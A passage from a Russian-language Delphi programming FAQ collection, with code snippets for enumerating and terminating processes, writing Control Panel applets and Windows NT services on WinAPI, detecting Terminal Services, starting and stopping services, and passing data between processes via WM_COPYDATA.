  hSnapshoot: THandle;
  pe32: TProcessEntry32;
begin
  ProcessID := GetCurrentProcessID;
  ID := -1;
  Path := '';

  hSnapshoot := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

  if (hSnapshoot = -1) then
    Exit;

  pe32.dwSize := SizeOf(TProcessEntry32);
  if (Process32First(hSnapshoot, pe32)) then
    repeat
      if pe32.th32ProcessID = ProcessID then
      begin
        ID := pe32.th32ParentProcessID;
        Break;
      end;
    until
      not Process32Next(hSnapshoot, pe32);

  if ID <> -1 then
  begin
    if (Process32First(hSnapshoot, pe32)) then
      repeat
        if pe32.th32ProcessID = ID then
        begin
          Path := pe32.szExeFile;
          Break;
        end;
      until
        not Process32Next(hSnapshoot, pe32);
  end;
  CloseHandle (hSnapshoot);
end;

function GetProcessHandle(ProcessID: DWORD): THandle;
begin
  Result := OpenProcess(PROCESS_ALL_ACCESS, True, ProcessID);
end;

end.

К заголовку




" Как поместить приложение Delphi в Панель Управления
Для использования апплета измените его расширение с "dll" на "cpl" и поместите в системную директорию.

library Project1; {Измените "program" на "library"}

uses
  Cpl, {используем модуль Cpl}
  Windows,
  Forms,
  Unit1 in 'Unit1.pas' {Form1};

{$R *.RES}

procedure ExecuteApp;
begin
  Application.Initialize;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end;

{Сallback-функция для экспорта в Панель Управления}

function CPlApplet(hwndCPl: THandle; uMsg: DWORD;
  lParam1, lParam2: LongInt): LongInt; stdcall;
var
  NewCplInfo: PNewCplInfo;
begin
  Result := 0;
  case uMsg of
    {Инициализация должна возвращать True.}
    CPL_INIT:
      Result := 1;
    {Число апплетов}
    CPL_GETCOUNT:
      Result := 1;
    {Помещаем информацию об этом апплете в Панель управления.}
    CPL_NEWINQUIRE:
      begin
        NewCplInfo := PNewCplInfo(lParam2);
        with NewCplInfo^ do
        begin
          dwSize := SizeOf(TNewCplInfo);
          dwFlags := 0;
          dwHelpContext := 0;
          lData := 0;
          {Иконка для отображения на Панели Управления.}
          hIcon := LoadIcon(HInstance, 'MAINICON');
          {Имя апплета}
          szName := 'Project1';
          {Описание этого апплета.}
          szInfo := 'Это тестовый апплет.';
          szHelpFile := '';
        end;
      end;
    {Выполнение апплета.}
    CPL_DBLCLK:
      ExecuteApp;
  else
    Result := 0;
  end;
end;

{Экспортирование функции CplApplet}
exports
  CPlApplet;
begin

end.

К заголовку




" Как узнать имя файла текущего процесса
Для этого существует функция GetModuleFileName, которая возвращает имя файла текущего процесса.

function GetModName: string;
var
  fName: string;
  nsize: cardinal;
begin
  nsize := 128;
  SetLength(fName, nsize);
  SetLength(fName,
    GetModuleFileName(
    hinstance,
    pchar(fName),
    nsize));
  Result := fName;
end;

К заголовку




" Как узнать, запущен ли процесс в Win9x
function IsRunning(sName: string): boolean;
var
  han: THandle;
  ProcStruct: PROCESSENTRY32; // from "tlhelp32" in uses clause
  sID: string;
begin
  Result := false;
  // Get a snapshot of the system
  han := CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
  if han = 0 then
    exit;
  // Loop thru the processes until we find it or hit the end
  ProcStruct.dwSize := sizeof(PROCESSENTRY32);
  if Process32First(han, ProcStruct) then
  begin
    repeat
      sID := ExtractFileName(ProcStruct.szExeFile);
      // Check only against the portion of the name supplied, ignoring case
      if uppercase(copy(sId, 1, length(sName))) = uppercase(sName) then
      begin
        // Report we found it
        Result := true;
        Break;
      end;
    until not Process32Next(han, ProcStruct);
  end;
  // clean-up
  CloseHandle(han);
end;
К заголовку




" Написание сервисов Windows NT на WinAPI
Причиной написания этой статьи, как не странно, стала необходимость написания своего сервиса. Но в Borland'е решили немного
"порадовать" нас, пользователей Delphi 6 Personal, не добавив возможности создания сервисов (в остальных версиях
Delphi 5 и 6 эта возможность имеется в виде класса TService). Решив, что еще не все потеряно, взял на проверку
компоненты из одноименного раздела этого сайта. Первый оказался с многочисленными багами, а до пробы второго я не
дошел, взглянув на исходник - модуль Forms в Uses это не только окошки, но и более 300 килобайт "веса" программы.
Бессмысленного увеличения размера не хотелось и пришлось творить свое.

Так как сервис из воздуха не сотворишь, то мой исходник и эта статья очень сильно опираются на MSDN.

Итак, приступим к написанию своего сервиса

Обычный Win32-сервис это обычная программа. Программу рекомендуется сделать консольной
(DELPHI MENU | Project | Options.. | Linker [X]Generate Console Application) и крайне рекомендуется сделать
ее без форм !!! и удалить модуль Forms из Uses. Рекомендуется потому, что, во-первых, это окошко показывать не
стоит потому, что оно позволит любому юзеру, прибив ваше окошко прибить и сервис и, во-вторых, конечно же, размер
файла (19Kb против 350 ). Поэтому удаляем форму (DELPHI MENU | Project | Remove from project... ). Удалив все формы,
перейдем на главный модуль проекта, в котором удаляем текст между begin и end и Forms из Uses и добавляем Windows и
WinSvc. В результате должно получиться что-то вроде этого

program Project1;
uses
  Windows, WinSvc;

{$R *.res}
begin
end.

На этом подготовительный этап закончен - начинаем писАть сервис.

Главная часть программы

Как уже отмечалось - сервис это обычная программа. Программа в Pascal'е находится между begin и end.
После запуска нашего сервиса (здесь и далее под запуском сервиса понимается именно запуск его из Менеджера
сервисов, а не просто запуск exe'шника сервиса) менеджер сервисов ждет пока наш сервис вызовет функцию
StartServiceCtrlDispatcher.Ждать он будет недолго - если в нашем exe'шнике несколько сервисов то секунд 30,
если один - около секунды, поэтому помещаем вызов StartServiceCtrlDispatcher поближе к begin.

StartServiceCtrlDispatcher качестве аргумента требует _SERVICE_TABLE_ENTRYA, поэтому добавляем в var
DispatchTable : array [0..кол-во сервисов] of _SERVICE_TABLE_ENTRYA; и заполняем этот массив (естественно
перед вызовом StartServiceCtrlDispatcher).

Т.к. в нашем ехешнике будет 1 сервис, то заполняем его так :

DispatchTable[0].lpServiceName := ServiceName;
DispatchTable[0].lpServiceProc := @ServiceProc;

DispatchTable[1].lpServiceName := nil;
DispatchTable[1].lpServiceProc := nil;

Советую завести константы ServiceName - имя сервиса и ServiceDisplayName - отображаемое имя.

ServiceProc - основная функция сервиса(о ней ниже), а в функцию мы передаем ее адрес.

В DispatchTable[кол-во сервисов] все равно nil - это показывает функции, что предыдущее поле было последним. У меня получилось так :

begin
  DispatchTable[0].lpServiceName := ServiceName;
  DispatchTable[0].lpServiceProc := @ServiceProc;

  DispatchTable[1].lpServiceName := nil;
  DispatchTable[1].lpServiceProc := nil;

  if not StartServiceCtrlDispatcher(DispatchTable[0]) then
    LogError('StartServiceCtrlDispatcher Error');
end.

StartServiceCtrlDispatcher выполнится только после того, как все сервисы будут остановлены.

Функция LogError протоколирует ошибки - напишите ее сами.

Функция ServiceMain

ServiceMain - основная функция сервиса. Если в ехешнике несколько сервисов, но для каждого сервиса пишется
своя ServiceMain функция. Имя функции может быть любым! и передается в DispatchTable.lpServiceProc:=@ServiceMain
(см.предыдущущий абзац). У меня она называется ServiceProc и описывается так:

procedure ServiceProc(argc: DWORD;
  var argv: array of PChar); stdcall;

argc кол-во аргументов и их массив argv передаются менеджером сервисов из настроек сервиса.
НЕ ЗАБЫВАЙТЕ STDCALL!!! Такая забывчивость - частая причина ошибки в программе.

В ServiceMain требуется выполнить подготовку к запуску сервиса и зарегистрировать обработчик сообщений
от менеджера сервисов (Handler). Опять после запуска ServiceMain и до запуска RegisterServiceCtrlHandler
должно пройти минимум времени. Если сервису надо делать что-нибудь очень долго и обязательно до вызова
RegisterServiceCtrlHandler, то надо посылать сообщение SERVICE_START_PENDING функией SetServiceStatus.

Итак, в RegisterServiceCtrlHandler передаем название нашего сервиса и адрес функции Handler'а (см.далее).
Далее выполняем подготовку к запуску и настройку сервиса. Остановимся на настройке поподробнее. Эта самая
настройка var ServiceStatus : SERVICE_STATUS; (ServiceStatusHandle : SERVICE_STATUS_HANDLE и ServiceStatus
надо сделать глобальными переменными и поместить их выше всех функций).

dwServiceType - тип сервиса

SERVICE_WIN32_OWN_PROCESS
    Одиночный сервис
SERVICE_WIN32_SHARE_PROCESS
    Несколько сервисов в одном процессе
SERVICE_INTERACTIVE_PROCESS
    интерактивный сервис (может взаимодействовать с пользователем).

Остальные константы - о драйверах. Если надо - смотрите их в MSDN.

dwControlsAccepted - принимаемые сообщения (какие сообщения мы будем обрабатывать)

    * SERVICE_ACCEPT_PAUSE_CONTINUE приостановка/перезапуск
    * SERVICE_ACCEPT_STOP остановка сервиса
    * SERVICE_ACCEPT_SHUTDOWN перезагрузка компьютера
    * SERVICE_ACCEPT_PARAMCHANGE изменение параметров сервиса без перезапуска (Win2000 и выше)

Остальные сообщения смотрите опять же в MSDN (куда уж без него ;-)

    * dwWin32ExitCode и dwServiceSpecificExitCode - коды ошибок сервиса. Если все идет нормально, то они должны
быть равны нулю, иначе коду ошибки.
    * dwCheckPoint - если сервис выполняет какое-нибудь долгое действие при остановке, запуске и т.д. то
dwCheckPoint является индикатором прогресса (увеличивайте его, чтобы дать понять, что сервис не завис),
иначе он должен быть равен нулю.
    * dwWaitHint - время, через которое сервис должен послать свой новый статус менеджеру сервисов при
выполнении действия (запуска, остановки и т.д.). Если dwCurrentState и dwCheckPoint через это кол-во миллисекунд
не изменится, то менеджер сервисов решит, что произошла ошибка.
    * dwCurrentState - см. где-то здесь Ставим его в SERVICE_RUNNING, если сервис запущен

После заполнения этой структуры посылаем наш новый статус функцией SetServiceStatus и мы работаем :).

После этого пишем код самого сервиса. Я вернусь к этому попозже.

Вот так выглядит моя ServiceMain :

procedure ServiceProc(argc: DWORD; var argv: array of PChar); stdcall;
var
  Status: DWORD;
  SpecificError: DWORD;
begin
  ServiceStatus.dwServiceType := SERVICE_WIN32;
  ServiceStatus.dwCurrentState := SERVICE_START_PENDING;
  ServiceStatus.dwControlsAccepted := SERVICE_ACCEPT_STOP
    or SERVICE_ACCEPT_PAUSE_CONTINUE;
  ServiceStatus.dwWin32ExitCode := 0;
  ServiceStatus.dwServiceSpecificExitCode := 0;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;

  ServiceStatusHandle :=
    RegisterServiceCtrlHandler(ServiceName, @ServiceCtrlHandler);
  if ServiceStatusHandle = 0 then
    WriteLn('RegisterServiceCtrlHandler Error');

  Status := ServiceInitialization(argc, argv, SpecificError);
  if Status <> NO_ERROR then
  begin
    ServiceStatus.dwCurrentState := SERVICE_STOPPED;
    ServiceStatus.dwCheckPoint := 0;
    ServiceStatus.dwWaitHint := 0;
    ServiceStatus.dwWin32ExitCode := Status;
    ServiceStatus.dwServiceSpecificExitCode := SpecificError;

    SetServiceStatus(ServiceStatusHandle, ServiceStatus);
    LogError('ServiceInitialization');
    exit;
  end;

  ServiceStatus.dwCurrentState := SERVICE_RUNNING;
  ServiceStatus.dwCheckPoint := 0;
  ServiceStatus.dwWaitHint := 0;

  if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
  begin
    Status := GetLastError;
    LogError('SetServiceStatus');
    exit;
  end;
  // WORK HERE
  // ЗДЕСЬ БУДЕТ ОСНОВНОЙ КОД ПРОГРАММЫ
end;

Функция Handler

Функция Handler будет вызываться менеджером сервисов при передаче сообщений сервису. Опять же название
функции - любое. Адрес функции передается с помощью функции RegisterServiceCtrlHandler (см. выше). Функция
имеет один параметр типа DWORD (Cardinal) - сообщение сервису. Если в одном процессе несколько сервисов -
для каждого из них должна быть своя функция. procedure ServiceCtrlHandler(Opcode : Cardinal);stdcall; Опять
не забываем про stdcall.

Итак, функция получает код сообщения, который мы и проверяем. Начинаем вспоминать, что мы писали в
ServiceStatus.dwControlsAccepted. У меня это SERVICE_ACCEPT_STOP и SERVICE_ACCEPT_PAUSE_CONTINUE, значит,
мне надо проверять сообщения SERVICE_CONTROL_PAUSE, SERVICE_CONTROL_CONTINUE, SERVICE_CONTROL_STOP и выполнять
соответствующие действия. Остальные сообщения:

ServiceStatus.dwControlsAccepted Обрабатываемые сообщения

    * SERVICE_ACCEPT_PAUSE_CONTINUE SERVICE_CONTROL_PAUSE и SERVICE_CONTROL_CONTINUE
    * SERVICE_ACCEPT_STOP SERVICE_CONTROL_STOP
    * SERVICE_ACCEPT_SHUTDOWN SERVICE_CONTROL_SHUTDOWN
    * SERVICE_ACCEPT_PARAMCHANGE SERVICE_CONTROL_PARAMCHANGE

Также надо обрабатывать SERVICE_CONTROL_INTERROGATE. Что это такое - непонятно, но обрабатывать надо :)
Передаем новый статус сервиса менеджеру сервисов функцией SetServiceStatus.

Пример функции Handler:

procedure ServiceCtrlHandler(Opcode: Cardinal); stdcall;
var
  Status: Cardinal;
begin
  case Opcode of
    SERVICE_CONTROL_PAUSE:
      begin
        ServiceStatus.dwCurrentState := SERVICE_PAUSED;
      end;
    SERVICE_CONTROL_CONTINUE:
      begin
        ServiceStatus.dwCurrentState := SERVICE_RUNNING;
      end;
    SERVICE_CONTROL_STOP:
      begin
        ServiceStatus.dwWin32ExitCode := 0;
        ServiceStatus.dwCurrentState := SERVICE_STOPPED;
        ServiceStatus.dwCheckPoint := 0;
        ServiceStatus.dwWaitHint := 0;

        if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
        begin
          Status := GetLastError;
          LogError('SetServiceStatus');
          Exit;
        end;
        exit;
      end;

    SERVICE_CONTROL_INTERROGATE: ;
  end;

  if not SetServiceStatus(ServiceStatusHandle, ServiceStatus) then
  begin
    Status := GetLastError;
    LogError('SetServiceStatus');
    Exit;
  end;
end;

Реализация главной функции программы

В функции ServiceMain (см.там, где отмечено) пишем код сервиса. Так как сервис обычно постоянно находится в
памяти компьютера, то скорее всего код будет находиться в цикле. Например в таком:

repeat
  // Что-нибудь делаем пока сервис не завершится.
until ServiceStatus.dwCurrentState = SERVICE_STOPPED;
  // Но это пройдет если сервис не обрабатывает сообщения приостановки/перезапуска,
  // иначе сервис никак не прореагирует. Другой вариант :
repeat
  if ServiceStatus.dwCurrentState <> SERVICE_PAUSED then
    // чего - то делаем
until ServiceStatus.dwCurrentState = SERVICE_STOPPED;

И третий, имхо, самый правильный вариант = использование потока:

Пишем функцию

function MainServiceThread(p: Pointer): DWORD; stdcall;
begin
  // что - то делаем
end;

и в ServiceMain создаем поток

var
  ThID: Cardinal;
  hThread := CreateThread(nil, 0, @MainServiceThread, nil, 0, ThID);

  // и ждем его завершения
  WaitForSingleObject(hThread, INFINITE);

  // закрывая после этого его дескриптор
  CloseHandle(hThread);

  // При этом hThread делаем глобальной переменной.
  // Теперь при приостановке сервиса(в Handler)
  // делаем так SERVICE_CONTROL_PAUSE:
begin
  ServiceStatus.dwCurrentState := SERVICE_PAUSED;
  SuspendThread(hThread); // приостанавливаем поток
end;

и при возобновлении работы сервиса SERVICE_CONTROL_CONTINUE:

begin
  ServiceStatus.dwCurrentState := SERVICE_RUNNING;
  ResumeThread(hThread); // возобновляем поток
end;
К заголовку




" Обнаружить терминальные сервисы
{
 Question:

 Do you happen to have a sample piece of code for detecting if Terminal
 Services is loaded?  I found this piece of C code, but I'm having a hard
 time translating things...
}

 function IsRemoteSession: Boolean;
 const
   sm_RemoteSession = $1000; { from WinUser.h }
 begin
   Result := (GetSystemMetrics(sm_RemoteSession) <> 0);
 end;

 {
  That tells you if your program is running in a terminal client session,
  which is usually all you ever need to worry about.
}

 {
>
> #include 
> #include 
>
> // This code will only work on the Windows 2000 platform
>
> BOOL IsTerminalServicesEnabled(void)
> {
>      OSVERSIONINFOEX osVersionInfo;
>      DWORDLONG dwlConditionMask = 0;
>
>      ZeroMemory(&osVersionInfo, sizeof(OSVERSIONINFOEX));
>      osVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
>      osVersionInfo.wSuiteMask = VER_SUITE_TERMINAL;
>
>      VER_SET_CONDITION( dwlConditionMask, VER_SUITENAME, VER_AND );
>
>      return VerifyVersionInfo(
>          &osVersionInfo,
>          VER_SUITENAME,
>          dwlConditionMask
>          );
>
}

 type
   OSVERSIONINFOEX = packed record
     dwOSVersionInfoSize: DWORD;
     dwMajorVersion: DWORD;
     dwMinorVersion: DWORD;
     dwBuildNumber: DWORD;
     dwPlatformId: DWORD;
     szCSDVersion: array[0..127] of Char;
     wServicePackMajor: WORD;
     wServicePackMinor: WORD;
     wSuiteMask: WORD;
     wProductType: BYTE;
     wReserved: BYTE;
   end;
   TOSVersionInfoEx = OSVERSIONINFOEX;
   POSVersionInfoEx = ^TOSVersionInfoEx;

 const
   VER_SUITE_TERMINAL = $00000010;
   VER_SUITENAME = $00000040;
   VER_AND = 6;

 function VerSetConditionMask(
   ConditionMask: int64;
   TypeMask: DWORD;
   Condition: Byte
   ): int64; stdcall; external kernel32;

 function VerifyVersionInfo(
   var VersionInformation: OSVERSIONINFOEX;
   dwTypeMask: DWORD;
   dwlConditionMask: int64
   ): BOOL; stdcall; external kernel32 name 'VerifyVersionInfoA';


 function IsTerminalServicesEnabled: Boolean;
 var
   osVersionInfo: OSVERSIONINFOEX;
   dwlConditionMask: int64;
 begin
   FillChar(osVersionInfo, SizeOf(osVersionInfo), 0);
   osVersionInfo.dwOSVersionInfoSize := sizeof(osVersionInfo);
   osVersionInfo.wSuiteMask := VER_SUITE_TERMINAL;
   dwlConditionMask := 0;
   dwlConditionMask :=
     VerSetConditionMask(dwlConditionMask,
     VER_SUITENAME,
     VER_AND);
   Result := VerifyVersionInfo(
     osVersionInfo,
     VER_SUITENAME,
     dwlConditionMask);
 end;

 {
  But heed the warning in the C sample: the functions used here are not
  available on Win 9x and NT 4! If you use external declarations as above
  your program would not even load on such a platform.
}
К заголовку




" Остановка и запуск сервисов
Unit1.dfm

object Form1: TForm1
  Left = 192
    Top = 107
    Width = 264
    Height = 121
    Caption = 'Сервис'
    Color = clBtnFace
    Font.Charset = DEFAULT_CHARSET
    Font.Color = clWindowText
    Font.Height = -11
    Font.Name = 'MS Sans Serif'
    Font.Style = []
    OldCreateOrder = False
    PixelsPerInch = 96
    TextHeight = 13
    object Label1: TLabel
    Left = 2
      Top = 8
      Width = 67
      Height = 13
      Caption = 'Имя сервиса'
  end
  object Button1: TButton
    Left = 4
      Top = 56
      Width = 95
      Height = 25
      Caption = 'Стоп сервис'
      TabOrder = 0
      OnClick = Button1Click
  end
  object Button2: TButton
    Left = 148
      Top = 56
      Width = 95
      Height = 25
      Caption = 'Старт сервис'
      TabOrder = 1
      OnClick = Button2Click
  end
  object Edit1: TEdit
    Left = 0
      Top = 24
      Width = 241
      Height = 21
      TabOrder = 2
      Text = 'Messenger'
  end
end


Unit1.pas

unit Unit1;

interface

uses

  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, Winsvc;

type

  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    Edit1: TEdit;
    Label1: TLabel;
    procedure Button1Click(Sender: TObject);
    procedure StopService(ServiceName: string);
    procedure Button2Click(Sender: TObject);
    procedure StartService(ServiceName: string);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var

  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
  StopService(Edit1.Text);
end;

procedure TForm1.StopService(ServiceName: string);
var

  schService,
    schSCManager: DWORD;
  p: PChar;
  ss: _SERVICE_STATUS;
begin

  p := nil;
  schSCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if schSCManager = 0 then
    RaiseLastWin32Error;
  try
    schService := OpenService(schSCManager, PChar(ServiceName),
      SERVICE_ALL_ACCESS);
    if schService = 0 then
      RaiseLastWin32Error;
    try
      if not ControlService(schService, SERVICE_CONTROL_STOP, SS) then
        RaiseLastWin32Error;
    finally
      CloseServiceHandle(schService);
    end;
  finally
    CloseServiceHandle(schSCManager);
  end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
  StartService(Edit1.Text);
end;

procedure TForm1.StartService(ServiceName: string);
var

  schService,
    schSCManager: Dword;
  p: PChar;
begin

  p := nil;
  schSCManager := OpenSCManager(nil, nil, SC_MANAGER_ALL_ACCESS);
  if schSCManager = 0 then
    RaiseLastWin32Error;
  try
    schService := OpenService(schSCManager, PChar(ServiceName),
      SERVICE_ALL_ACCESS);
    if schService = 0 then
      RaiseLastWin32Error;
    try
      if not Winsvc.startService(schService, 0, p) then
        RaiseLastWin32Error;
    finally
      CloseServiceHandle(schService);
    end;
  finally
    CloseServiceHandle(schSCManager);
  end;
end;

end.

К заголовку




" Отсортировать выполнение процессов в системе
Нужно отсортировать выполнение процессов в системе, т.е. поочередно выполнить несколько процессов, тем самым
автоматизировать некоторый " трудовой процесс" ? Этот код предоставляет такую возможность. Вы создаете " кадр"
 существующих в системе процессов, находите в нем нужный вам процесс по его ID и обрабатываете его сообщение.

unit PIDProcessing;

interface

function PIDExists(PID:Integer):boolean;
function RunProgram(ExeProgram:String):integer;

implementation

uses TLHelp32, Windows;

function PIDExists(PID:Integer):boolean;
    {возвращает true, если процесс найден}
var hSnap:Cardinal;
    // Snapshot (" кадр" ) запущенных процессов в системе
    ProcessEntry:TProcessEntry32;
    // информация о процессе
    Finding:LongBool;
    // возвращает true,
       если первый  процесс скопирован в буфер,
       иначе false
    Found:Boolean;
    // возвращает true,
       если в системе есть запущенные процессы
 begin
 hSnap:=CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS,0);

         {создаем " кадр"  запущенных процессов}

  if hSnap=0 then
    begin
    Result:=False;
    Exit;
    end;
  Found:=False;
  ProcessEntry.dwSize:=SizeOf(ProcessEntry);
  Finding:=Process32First(hSnap,ProcessEntry);

       {предоставляет информацию
        о первом процессе в " кадре" }

  While Finding do
    begin
    if PID=ProcessEntry.th32ProcessID then Found:=True;

       {если необходимый процесс найден,
       возвращаем true}

    Finding:=Process32Next(hSnap,ProcessEntry);

       {предоставляет информацию
        о следующем процессе в " кадре" }

    end;
  CloseHandle(hSnap);
  Result:=Found;
end;

function RunProgram(EXEProgram:String):Boolean;

       {Возвращает true,
        если процесс системы выполнен}

var si:TStartupInfo;

       {определение свойств главного окна,
        создаваемого приложения}

    pi:TProcessInformation;

       {информация о созданном процессе
        и его главном потоке}
begin
  FillMemory(@si,sizeof(si),0);
  si.cb:=Sizeof(si);
  Result:=False;
  if EXEProgram< > '' then
   if CreateProcess(nil,PChar(EXEProgram),
    nil,nil,false,
        NORMAL_PRIORITY_CLASS,nil,nil,si,pi) then

    {создаем процесс}

     begin

     {до тех пор пока процесс существует в " кадре"
      обрабатываем его сообщение}

     While PIDExists(pi.dwProcessId)
            do Application.ProcessMessages;

     CloseHandle(pi.hProcess);

     {закрываем процесс}

     CloseHandle(pi.hThread);

     {останавливаем поток,
      порожденный процессом}

          Result:=True;
        end;
end;

end.

К заголовку




" Передать строки, картинки (streams) между процессами
{
  The WM_COPYDATA messages makes it possible to transfer information
  between processes. It does this by passing the data through the kernel.
  Space is allocated in the receiving process to hold the information that is copied,
  by the kernel, from the source process to the target process.
  The sender passes a pointer to a COPYDATASTRUCT, which is defined as a structure
  of the following:
}

type
  TCopyDataStruct = packed record
    dwData: DWORD;   // anwendungsspezifischer Wert
    cbData: DWORD;   // Byte-Lдnge der zu ьbertragenden Daten
    lpData: Pointer; // Adresse der Daten
  end;


{ Sender Application }

unit SenderApp;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ExtCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    Button2: TButton;
    Image1: TImage;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
  private
    procedure SendCopyData(hTargetWnd: HWND; ACopyDataStruct:TCopyDataStruct);
  public
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

// Sender: Send data
procedure TForm1.SendCopyData(hTargetWnd: HWND; ACopyDataStruct:TCopyDataStruct);
begin
  if hTargetWnd <> 0 then
    SendMessage(hTargetWnd, WM_COPYDATA, Longint(Handle), Longint(@ACopyDataStruct))
  else
    ShowMessage('No Recipient found!');
end;

// Send Text from Edit1 to other app
procedure TForm1.Button1Click(Sender: TObject);
var
  MyCopyDataStruct: TCopyDataStruct;
  hTargetWnd: HWND;
begin
  // Set up a COPYDATASTRUCT structure for use with WM_COPYDATA
  // TCopyDataStruct mit den Sende-Daten Infos ausfьllen
  with MyCopyDataStruct do
  begin
    dwData := 0; // may use a value do identify content of message
    cbData := StrLen(PChar(Edit1.Text)) + 1;  //Need to transfer terminating #0 as well
    lpData := PChar(Edit1.Text)
  end;
  // Find the destination window for the WM_COPYDATA message
  // Empfдnger Fenster anhand des Titelzeilentextes suchen
  hTargetWnd := FindWindow(nil,PChar('Message Receiver'));
  // send the structure to the receiver
  // Die Struktur an den Empfдnger schicken
  SendCopyData(hTargetWnd, MyCopyDataStruct);
end;

// Send Image1 to other app
procedure TForm1.Button2Click(Sender: TObject);
var
  ms: TMemoryStream;
  MyCopyDataStruct: TCopyDataStruct;
  hTargetWnd: HWND;
begin
  ms := TMemoryStream.Create;
  try
    image1.Picture.Bitmap.SaveToStream(ms);
    with MyCopyDataStruct do
    begin
      dwData := 1;
      cbData := ms.Size;
      lpData := ms.Memory;
    end;
    // Search window by the window title
    // Empfдnger Fenster anhand des Titelzeilentextes suchen
    hTargetWnd := FindWindow(nil,PChar('Message Receiver'));
    // Send the Data
    // Daten Senden
    SendCopyData(hTargetWnd,MyCopyDataStruct);
  finally
    ms.Free;
  end;
end;

end.

{*********************************************************************}

{ Receiver Application }

unit ReceiverApp;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Image1: TImage;
    Label1: TLabel;
  private
    procedure WMCopyData(var Msg: TWMCopyData); message WM_COPYDATA;
    { Private-Deklarationen }
  public
    { Public-Deklarationen }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure TForm1.WMCopyData(var Msg: TWMCopyData);
var
  sText: array[0..99] of Char;
  ms: TMemoryStream;
begin
  case Msg.CopyDataStruct.dwData of
    0: { Receive Text, Text empfangen}
      begin
        StrLCopy(sText, Msg.CopyDataStruct.lpData, Msg.CopyDataStruct.cbData);
        label1.Caption := sText;
      end;
    1: { Receive Image, Bild empfangen}
      begin
        ms := TMemoryStream.Create;
        try
          with Msg.CopyDataStruct^ do
           ms.Write(lpdata^, cbdata);
           ms.Position := 0;
          image1.Picture.Bitmap.LoadFromStream(ms);
        finally
          ms.Free;
        end;
      end;
  end;
end;
end.
К заголовку




" Перечислить процессы и завершить их
{
  With the following routines it ist simply easy to kill a running process.
  First build a form with a TListview with 3 columns and a TButton
  to refresh the running processes.
  Attach the Refreshclick-procedure to the TButton and the
  ListViewDblClick-procedure with the TListview
  The TListview shows the processes.
  With a Doubleclick on one of the processnames you can kill this running process.
  Don't forget to include TLHelp32 into your uses-clause!

  Mit der nachfolgend aufgefuhrten Routinen konnen Sie die in einer
  Windowssitzung laufenden Prozesse aufzeigen und bei Bedarf auch
  entfernen. Hierfur benotigen Sie ein Formobject, ein ListViewobject und zu-
  mindest ein ButtonObject. Verknupfen Sie das Buttonobject mit dem BtnRefreshClick
  damit gleich beim Start des Programms alle Prozesse angezeigt werden.
  Zum loschen eines Prozesses mussen Sie eine Verknupfung zwischen DblClick
  des Listviewobject mit der Procedure ListviewDblClick.
  Wie aus den beigefugten Routinen ersichtlich, kann auch ein einzelner Prozess
  gesucht und terminiert werden. Die hierzu erforderlichen Schritte konnen aus
  der Refreshroutine entnommen werden.
  Wichtig ist die Einbindung der Unit TlHelp32 !
}

 interface

 uses
  {...,}TLHelp32 {important !}

 // Global Variables, Globale Variablen

var
   aSnapshotHandle: THandle;
   aProcessEntry32: TProcessEntry32;

    implementation

 procedure TForm1.BtnRefreshClick(Sender: TObject);
 var
   i: Integer;
   bContinue: BOOL;
   NewItem: TListItem;
 begin
   ListView1.Items.Clear;
   aSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
   aProcessEntry32.dwSize := SizeOf(aProcessEntry32);
   bContinue := Process32First(aSnapshotHandle, aProcessEntry32);
   while Integer(bContinue) <> 0 do
   begin
     NewItem := ListView1.Items.Add;
     NewItem.Caption := ExtractFileName(aProcessEntry32.szExeFile);
     NewItem.subItems.Add(IntToHex(aProcessEntry32.th32ProcessID, 4));
     NewItem.subItems.Add(aProcessEntry32.szExeFile);
     bContinue := Process32Next(aSnapshotHandle, aProcessEntry32);
   end;
   CloseHandle(aSnapshotHandle);
 end;


 procedure TForm1.ListView1DblClick(Sender: TObject);
 var
   Ret: BOOL;
   PrID: Integer; // processidentifier
  Ph: THandle;   // processhandle
begin
   with ListView1 do
   begin
     if MessageDlg('Do you want to Terminate "' + ItemFocused.Caption + '"?' + ^J +
                   'It''s possible the system becames instable or out of' + ^J +
                   'control......',
         mtConfirmation, [mbYes, mbNo], 0) = mrYes then
      begin
        PrID := StrToInt('$' + ItemFocused.SubItems[0]);
        Ph := OpenProcess(1, BOOL(0), PrID);
        Ret := TerminateProcess(Ph, 0);
        if Integer(Ret) = 0 then
          MessageDlg('Cannot terminate "' + ItemFocused.Caption + '"',
                      mtInformation, [mbOK], 0)
        else
          ItemFocused.Delete;
      end;
    end;
 end;


 procedure TForm1.FormCreate(Sender: TObject);
 begin
   {
    ListView1.Columns.Add;
    ListView1.Columns.Add;
    ListView1.Columns.Add;
    ListView1.ViewStyle := vsReport;
  }
   BtnRefresh.Click;
 end;
К заголовку




" Получение списка окон, с возможностью указания типа окна
{ **** UBPFD *********** by delphibase.endimus.com ****
>> Получение списка окон, с возможностью указания типа окна

Процедура заполняет список List именами окон, в ОС.
ПАРАМЕТРЫ:
YourApplicationHandle - дескриптор приложения,
вызывающего процедуру (Application.Handle);
ShowOwnWindow - указание на то, что в списке List,
должно быть также имя окна вызвавшего процедуру;
ShowInvisibleWindows - укание на отображение в List имён невидимых окон;
